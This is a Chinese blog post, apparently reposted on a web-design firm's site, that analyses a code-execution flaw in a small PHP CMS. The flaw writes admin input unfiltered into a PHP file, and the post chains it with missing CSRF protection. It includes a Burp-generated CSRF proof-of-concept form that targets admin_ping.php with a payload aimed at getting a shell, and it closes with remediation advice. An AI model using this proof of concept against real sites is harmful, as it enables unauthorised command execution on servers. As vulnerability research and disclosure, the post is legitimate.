CMS從CSRF到Getshell的示例分析,針對這個問題,這篇文章詳細介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
成都創(chuàng)新互聯(lián)公司是一家專業(yè)提供察雅企業(yè)網(wǎng)站建設(shè),專注與成都網(wǎng)站設(shè)計、做網(wǎng)站、H5網(wǎng)站設(shè)計、小程序制作等業(yè)務(wù)。10年已為察雅眾多企業(yè)、政府機構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)網(wǎng)站建設(shè)公司優(yōu)惠進行中。
寫在前:
最近準備看一下代碼執(zhí)行相關(guān)漏洞,日常逛cnvd時發(fā)現(xiàn)一個和代碼執(zhí)行有關(guān)的漏洞如下圖所示。
看了一眼這個漏洞的簡介這個是一個比較小眾的CMS,加之這個馬賽克,這明顯是瘋狂暗示去分析一下這個漏洞。
環(huán)境搭建:
我使用的是該cms1.0 +ache2.4.39+PHP Version 5.6.9,該cms只能使用php5.x,不支持最新版的PHP。
傻瓜式安裝,安裝成功之后入下圖所示。
在CNVD的漏洞詳情里明確說是后臺的漏洞,所以我們直接查看后臺的代碼。根據(jù)神打碼的提示,定位到相關(guān)的文件
該文件內(nèi)容很少,漏洞也相當明顯。
一開始注意到了這里插入了php代碼,沒有過濾。
然后去查了一下php echo函數(shù)后怎么執(zhí)行代碼
不過好像并沒有找到echo函數(shù)執(zhí)行代碼的方式。返回去上面重新看一下代碼,發(fā)現(xiàn)這里將用戶的輸入寫入了一個文件中。
前臺輸入之后
找到Ping.php文件,發(fā)現(xiàn)直接寫入了一個沒有任何權(quán)限校驗的文件中。不過漏洞有些雞肋就是輸入點在后臺。
可以嘗試結(jié)合一下其他的漏洞使得這個漏洞的可用性提高。翻了一下整個源碼,發(fā)現(xiàn)這個系統(tǒng)并沒有防止CSRF漏洞的措施,我們可以CSRF來組合利用。
構(gòu)造一個CSRF界面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<formaction="http://www.test.com/sea/72vlt3/admin_ping.php?action=set"method="POST">
<input type="hidden" name="weburl"value="&#63;&gt;&#59;1" />
<input type="hidden" name="token"value="123456789" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
可以成功觸發(fā)
插入payload,可以在未授權(quán)的情況下直接命令執(zhí)行。
延伸一下,其實這個問題屬于全局性的。另兩個點
這里同樣直接將用戶的輸入直接保存到了沒有任何權(quán)限校驗的文件中。
修復(fù)建議:
1,在數(shù)據(jù)包中添加隨機token,防止CSRF漏洞的發(fā)生,這樣在一定程度上可以降低風險。
2,前端用戶的輸入內(nèi)容不要輸入到文件中,使用數(shù)據(jù)庫進行保存。
3,其實這一種方法比較“偷懶”,將生成的文件以隨機字符串的方式命名,并且以txt后綴名結(jié)尾。
關(guān)于CMS從CSRF到Getshell的示例分析問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識。
分享名稱:CMS從CSRF到Getshell的示例分析
文章轉(zhuǎn)載:http://m.rwnh.cn/article4/jdihoe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站建設(shè)、關(guān)鍵詞優(yōu)化、微信小程序、電子商務(wù)、小程序開發(fā)、動態(tài)網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)